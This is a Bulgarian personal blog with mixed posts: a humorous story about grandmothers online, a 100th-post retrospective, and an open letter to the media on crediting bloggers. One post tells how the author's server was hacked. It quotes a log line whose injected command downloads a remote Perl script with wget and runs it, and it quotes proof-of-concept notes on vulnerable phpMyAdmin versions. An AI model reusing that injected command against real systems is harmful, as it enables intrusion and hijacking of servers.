Lucifer's sandbox

Понякога се сблъсквам с реалността с такава сила, че оставам без дъх.

Понякога плановете ни се изпълняват до един момент буква по буква … само за да избухнат в лицето ни като мина в следващия …

Има моменти, като този, когато се губя в хилядите пътища, които се отварят пред мен. Когато се губя в лабиринта от вероятности, които чакат мен за да ги превърна в реалности …

Има моменти, като този, когато не мисля, че ще имам сили да избера правилното разклонение, но знам, че не съм от хората които биха поели по лесното …

Един малък факт, разбърква всички вероятности, които виждах до сега и ме оставя сляп за нещата които са, които са били и които може да бъдат …

И отново пътя пред мен се губи, криволичи и изчезва … мами ме да го последвам и да се изправя пред изборите и разклоненията, които предлага и да правя своите … не верните и не грешните, а своите избори … да следвам своите пътеки и отново да бродя след своите сенки. Може би този път ще ме отведе към вечното щастие (все още вярвам в него) или към вечното падение, но няма значение, защото вече съм го поел и ще го следвам. И ще правя своите избори, правилни или грешни … Веднага след като успея да се съвзема и след като разбера дали Вероятността отново ми е набила 21 инчовия страп-он на сухо или е подготвила нещата за да получа каквото искам.

Само времето ще покаже … а аз имам време – всичкото време на този свят. Времето от сега, до края на моите дни.

Знам, че пак ви е несвързано, но трябва да сте свикнали на моите избухвания …

Ваш,

Lucifer

Ето го моето включване в BLOG CHALLENGE на БЛОГАТСТВО.

- Ганоооо! – провикна се баба Дана през портичката – Дека си маааа??

- Ида ма, Дано. За къде си се разбързала, па ти? Не са е мръкнало още  …

- А! Остаи са … да са махна от нас, че оня моя кукумицин ще ме побърка! – възрастната жена се настани на пейката до портичката.

Гана се подаде през скърцащата порта.

- Да ти направя ли и на тебе едно кийве? Че правя за мене и Дора.

- Може … – замисли се Дана. – Ма не ви ли е късно, ма?

- Е па аз инка ще правя, ма. Иначе цяла вечер не мога да спя … Унука беше сутринта тука и донесе, че Миро от магазина няма.

- А па и за мене тогава … Тя Дора дека е?

- Обади се преди малко, че идва …

Трите жени имаха обичай да се събират всяка вечер по мръкнало. Обичай който спазваха през последните 20 години през които живееха на село. След малко Гана се появи с табла на която димяха 3 чаши и чанта на рамо.

- Бог да те поживи. – измърмори Дана взимайки едната чаша и слагайки си 2 лъжички  захар от захарницата в средата на таблата. – Ето я и Дора. Къде се губиш, ма?

- Остави се … – започна Дора сядайки до приятелката си. – Реших да нахраня кравите и тъкмо съм ги почнала по ред и лисицата са затвори!

- А? Е как ша са затвори, ма?

- Ми ей така! Затвори са лисицата и като реших да я отворя и мойта пущина и излезе един син екран с бели букви … нещо за някакъв ВиДийеФ.

- И какво? – попита Гана, сваляйки чантата от рамото си и вадейки лаптопа.

- Е па, звъннах на унуката по ЖиСиеМа, да го питам какво това и той каза да съм рестартирала пущината и да съм пробвала пак … Ма пущината не ще да се пуска …

- Под Сафе моде пробва ли ма? – попита Дана.

- Пробвах! Седи на НеТеФеСе.СИйС и нище … унука обеща да дойде Неделята да ми го оправи.

- Казах ти аз … – започна Гана. – … да оставиш наш Петърчо да ти сложи един от ония с Пингвинитье … Ти не!

- Колко време ми трябваше да науча Уиндоуса, сега да сядам да уча Линукс … ти луда ли си …

- Е па за колко няма да е? – каза Гана докато пишеше паролата си. – Е я мойта пущина. От кога ми го е дал Петърчо – нямам проблем.

Докато ги слушаше, баба Дана беше придърпала ганината “пущина” и се беше заела да си чете блогролл-а. Двете дъртофелници всяка вечер спореха … ма то от вътре си има идваше – на едната внуката работеше за Майкрософт, а на другата поддържаше някакви сървъри.

- Гано, ма … – подвикна Дана. – Чете ли си днеска блогролл-а?

- Не съм, още. Смятах да чета първо туитеря … че от оная вечер не съм го чела … – Гана сръбна от кафето. – Има ли нящо интиресно?

- Чаки да видя … че се зачетох … Брей туй дняшната младеж … – измърмори бабата докато минаваше през поредната статия на Циничния Елф – Абе, аз все щях да ви питам … какво това елф? Що за животно е?

Гана и Дора са спогледаха …

- Уф, че си ма Дано! – Дора се усмихна. – Елфа не е животно … Елфа е такова … от приказките … Помниш ли го онзи филм дето моя унук ми го донесе … Властилина на пръстите ли беше …

- На пръстените … – обади се Гана.

- Да де … на пръстените … Е те там онзи хубавци с големите лъкове … Е те това са елфи …

- Аааа… от филмите … – Дана продължи да си чете …

- Гано ма, я да та питам, аз. Имаш ли проблеми с Интерньета, ма?

- Какви проблеми ма?

- Бе у назе нещо прекъсва. Както има, има … и като падне отиде половин час …

- Опита ли да рестартираш?

- Куье, ма? И модема пробвах, и пущината пробвах …  Неще.

- Дано, ма, не го ли изчете тоз блогролл, ма? У вас нали си имаш камютър? Що тука го четеш?

- Бе имам … Ставри заседнал от оня ден да чете някаква книга на него … не мога да го мръдна. Ни у Файсебука мога да вляза, че внучката качила нови снимки на малкия, на баба сладура …

- А па, книга! Ади, знаем го ний наш Ставри – пак у някой мръснишки сайт гледа … пак ще трябва да ви оправят компютъра …

- Тихо, ма. – сопна се Дана. – Да гледа. Само да не ма закача … че сърцето му не е като ено време …

Трите старици се разсмяха и разговорите им тръгнаха в други посоки – на коя внука и какво правел, на коя правнуците и какво правели … Както всяка вечер от 20 години на сам, никоя не разбра (или не си призна) коя изкара бутилката с ракия …

40 минути по-късно 3 луди, луди баби, седяха на тъмната пейка и гледаха телевизия on-line, спомняха си на висок глас за малдостта, когато “немаше такива пущини, като компютеро” и всичко беше къде, къде по-просто …

***

Ако са ви харесали моите баби – гласувайте за мен в Свежо или с коментар.

Искам да се оплача … от собствената си глупост … и то много да се оплача …

То бива бива да съм заблуден, ама като мене не бива. Ситуацията на кратко – сървъра ми беше хакнат! Дап, моето мило Анаваро!

Беше заразен с IRC бот вирус. Нямаше много “мрежеви” поражения … защото машината слаба или аз съм я сложил калпаво, та вируса само се изпълняваше, вдигаше CPU-то на 100% и системата умираше – няма мрежа, няма нищо, а аз знаете съм на 500 км.

След няколко рестарт-а и любимите ми “tail -f” и “htop” успях да засека следния малък проблем:

ID    USER    NI  CPU%  MEM%   VIRT    SHR   S  TIME+     Command
3813  apache  0   65.0    0.1       1776   432    R   1:42.64   ./std 89.137.139.225 0

А … ново 20??? Какъв пък процес се изпълнява от apache (Web Server-a) …

Спомних си кога за първи път се появи проблема и се зарових из логовете на индианеца … където открих следния “смахнат” ред:

88.191.14.38 - - [29/Nov/2009:02:12:10 +0200] "GET /phpMyAdmin/config/config.inc.php?c=cd%20/tmp;wget%20http://88.170.72.136/gcc.txt;lwp-download%20http://88.170.72.136/gcc.txt;fetch%20http://88.170.72.136/gcc.txt;perl%20gcc.txt;rm%20-fr%20gcc.txt HTTP/1.1" 200 181

Изненадкааа …Разбира се разпищях се из Linux-bg и ми върнаха лошата за мен новина:

# PoC script successfully tested on the following targets:

# phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1

# Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)

# attack requirements:

# 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5

# and 3.x before 3.1.3.1 according to PMASA-2009-3

# 2) it *seems* this vuln can only be exploited against environments

# where the administrator has chosen to install phpMyAdmin following

# the *wizard* method, rather than manual method: http://snipurl.com/jhjxx

# 3) administrator must have NOT deleted the ‘/config/’ directory
# within the ‘/phpMyAdmin/’ directory. this is because this directory is
# where ‘/scripts/setup.php’ tries to create ‘config.inc.php’ which is where
# our evil PHP code is injected

Бах! Как се саморазпосувах, само може да си представите! Правих какви ли не магарии – то не бяха преинсталации на apache, промени на пътеки …

Отново и отново ./std $IP $PORT процеса ме убиваше …

Питайки чичко Гугъл … случайно стигнах до един сайт в който някой се оплакваше от моя проблем.

ps aux | grep apache

ми даде виновника – индианеца се беше троянизирал … изпълняваше процеси (добре че е deamon) …

crontab -u apache -e

ми даде и проблема – някакво фаилче кръстено y2kupdate в /tmp/.pid/ и изпълнимо … на бързо му бих “rm -r”, премахнах референцията в cron-а и изтрих phpMyAdmin-a (сложих си го на скрито място) …

Знам, че съм пълен идиот … ама аз съм си такъв …

Ваш,

Lucifer

Седя си аз и си ровя из Twitter, когато изведнъж Събина от ентелегентно вкарва лудата оферта да ги оплюя. Аз само това и чакам!

Какви сте вие бе?

ентелегентно?

Това ващо блог ли е или бардак? Идват някакви, пишат за някакви неща.

Всеки се прави на много разбиращ. Един ми пиши за момиченца и пишки, друга седнала да пише за сладки …

Какво сладко, какви 5 лева? Вишни/смокини и захър … вие ще ми докарате някои диабет.

Абе какви сте вие и за какви се мислите? Седнали да ми изливат графоманските си диарии на е-хартия …

А да ви …

Седя си сутрин и си разглеждам четеца на чичо Гого и виждам нова статия в енеентелегентно, отварям … и лъсва готина мадама полу гола … Айде кажете как да ги обясня на шефа? То си е #NSFW, направо ПФУ! И това ми е рано сутрин.

И сте ми едни такива белички … белички … вземете се позачервте бе деца! Малко цвят вкарайте … само тук таме някоя червена думичка да ми извади очите! Тея червените думички не ги схващам … ако искате да наблегенте на нещо – кажете си го, не очаквайте от читателите да трябва да се чудят от къде сте си изкопали и за какво сте я изтипослаи, като л…о на пътека в средата на текста!

То верно сте си блог за bullshit … ма бива ли да къкате всеки пост с shit-овете на bull-а?

За музика ми писали … за готвене … култура … абеее де ги у вас тея ве? И от къде ги вадите тея знаийни и незнайни автори, да трупат само кофи глупости по този ваш бардак дето наричате блог …

Ваш,

Lucifer

P.S.: Не ми се връзвайте мили деца, всъщност нямам критики към вас. Много си ми харесвате, но мога ли да се стърпя да не изграфоманча и аз?

100

Да! Правилно сте разбрали, моето малко местенце в мрежата навъртя 100 поста … по-скоро 99 + този.

В началото блога си старирах от скука (прочетете първия пост). Бях го публикувал в blogspot.com, като thoughtsofidiot.blogspot.com. Да – Мислите на един идиот. И си стоя там бая време.

Първият пост е от Март 2007 година … което прави точно 2 години и седем месеца! Я какво съвпадение! Сега се замислих! Преди точно 31 месеца публикувах първия си пост в “Мислите на един идиот” и започнах да публикувам части от себе си тук. Това прави по малко над 3 поста на месец, като както са заблязали тези които ме четат, всички са написани от мен.

Преди известно време преместих “Мислите … ” на сегашното им място. Станаха част от Анаваро. Или Lucifer’s sandbox. Май никога до сега не съм обяснявал от къде идва името на домейна, нали? И защо тук е “пясъчника” ми, нали?

Някои от вас са чели разказа, който публикувах в раздел “Приказки” – Алара в Лабиринта, нали? Този разказ е ситуиран в една “вселена”, която създадох за да имат почва героите ми.

Идеята на домейна е да бъде моята игрална площадка. да мога да творя, да мисля, да изобретявам и всичко това да си е мое.

Но този пост е за блога.

По някаква необяснима за мен причина, вече си имам редовна аудотиря … не голяма, но не и малка … едно 15-20 човека всеки ден проверяват какви съм ги забъркал. Винаги съм писал най-вече за себе си, но друго си казва да си видиш статистиките и да видиш, че някой те чете.

В стотния си пост искам да благодаря на няколко групи хора. Ще се въздържа да са поименно, защото списъка ще е много голям.

- на тези които участват в написаното – всяка случка, всяка история, дори приказките,  са написани за и от някого. Моите музи и вдъхновения, хората които ми дават темите за които да пиша!

- тези които ме критикуват – имам си групичка редактори, които са безмислостни към тъпотиите ми, има едно там дето настоя да се върна към писането за себе си, на което специално искам да благодаря.

- на тези които ме четат – всички онези които регулярно наминават да видя какви съм ги надробил и се забавляват смоите глупости.

Имам и въпрос към всички вас – абе хора, защо никой не си изказва мнението? За 100 поста имам 40 коментара … толкова ли само ме четете … е драснете някакъв feedback де …

Благодаря ви!

Надвам се да има кой да ме чете още дълго …

Ваш,

Lucifer

Не вярвах, че такова нещо може да стане. Винаги съм смятал, че чуждия труд трябва да се уважава, но вчера от една българска медия показаха за пореден път, че труда на блогърите не се уважава. От блога на един от хората които следвам в Twitter известна българска медия си позволи да вземе матриал и “удобно” да забрави да спомене автора му. Самият аз не съм бил потърпевш на такива случки, може би защото темите на които пиша са по-скоро лични, отколкото обществени. Това ни накара да се съберем и да напишем следното отворено писмо:

ОТВОРЕНО ПИСМО ДО РЕДАКТОРИТЕ НА ВСИЧКИ ПЕЧАТНИ И ЕЛЕКТРОННИ МЕДИИ В РЕПУБЛИКА БЪЛГАРИЯ

УВАЖАЕМИ ГОСПОЖИ И ГОСПОДА,

Повод за това писмо са зачестилите случаи на ползване на редица български блогове като първоизточник на информация за новинарските агенции в Република България и нецитирането им като такива. Това е в разрез с журналистическата етика и използваните от тях лицензи за авторски права. Чувство за отговорност и отчетност към всички български блогъри ни подтиква да призовем всички печатни и електронни медии в Република България да се съобразяват със следното:

1.  При ползване на информация (текст, изображения, видео и други материали) от блоговете сте длъжни да посочите авторството на творбата по начин, определен от самия автор или носителя на правата върху произведението (но не и по начин, оставящ впечатлението, че същият/същите подкрепят вас или използването по някакъв начин на творбата от вас).
2.  Приканваме ви да проверявате източниците и лицензите, под които са публикувани материалите, преди да ги включите в изданията си.

3.  Всяко използване на материали извън рамките на изрично позволеното от автора или носителя на правата върху тях представлява нарушение и ние не бихме се поколебали да ги защитим по съдебен път.

Същевременно използваме възможността да насърчим всички желаещи редактори да продължат ползването на блоговете като източник на информация и нови идеи, стига това да не нарушава лицензните споразумения, при условията на които подписалите настоящото писмо отстъпват право за използване на конкретно произведение.

С уважение

Загрижени български граждани и блогъри

@yasendimov (http://www.absurdno.com/)

@strangera (http://strangera.com/)

@gospodin_i (http://gospodin-i.blogspot.com/)

@Lucifer4o (http://www.anavaro.com/blog)

@HuKokauH (http://hukokauh.blogspot.com/)

@mechkacom (http://mechka.com/)

@nbekirov (http://nbekirov.com/)

@dobata (http://friendfeed.com/dobata)

@zaveqna (http://zaveqna.blogspot.com/)

@vankova ()

@saaabina (http://www.entelegentno-blog.com/)

@dzver (http://dzver.com/blog/)

@mrasnika (http://kaloyan.info/blog/)

@Method-X (http://www.method-x.net/)

@ivoivanov (http://www.ivoivanov.net/)

http://sami.zavinagi.org/

Ивелина Михайлова (http://www.zaycheto.blog.bg/)

Ангел Петров (http://benchtalks.com/)

Владимир Иванов (http://nyamamideya.blogspot.com/)

Филип Петров (http://www.cphpvb.net/)

Дани (http://yboykova.blogspot.com/)

Христо Иванов

Свилен (http://svil4ok.info/)

Мартин (http://marfiland.blogspot.com)

Боян Юруков (http://yurukov.net/)

Mirage™ (http://kokostoyanov.wordpress.com/)

Eneya (http://eneya.wordpress.com/)

humanity (http://beyondxbox.wordpress.com/)

batpep (http://batpep.wordpress.com/)

Vassy (http://vasval.blogspot.com/)

Debilz (http://techstation.wordpress.com/)

botilia

Koutchili

fliper4o (http://fliper4o.blogspot.com/)

nik666 (http://nik666.blogspot.com/)

Благой Д. Иванов (http://uzumaki-bla.blogspot.com/)

Ако някой от вас желае да подпише писмото, нека да остави коментар тук или да се обърне към някои от вече подписалите го!

А ето и самата случка на сайта mechka.com

Ваш,

Lucifer

На времето имаше един блог, по-скоро моя първи такъв, който се казваше точно така – Thoughts of an Idiot. Там шишех за нещата които ми рпавеха впечетление. Там пишех за хората край мен и за мен самия. Явно съм се променил, защото един от основните “читатели” на блога ми ми каза че съм се отклонил, че вече не и е интерестно, защото съм спрял да пиша за това което наистина съм, а съм почнал да го пълня с “компютърни глупости”.

Сигурно е така. Предполагам, че отдавна вече наистина станах скучен, а не просто вглабен. Лошо нали? 2 години и малко поддържам тоя блог, а почнах да пиша само за технически теми, вместо да показвам себе си като такъв… чудя се защо ли е така? Предполагам … хах!

Та … време е мисля да върна духа на “Мислите на едини идиот…”. Ми пожелавам си успех!

Ваш,

Lucifer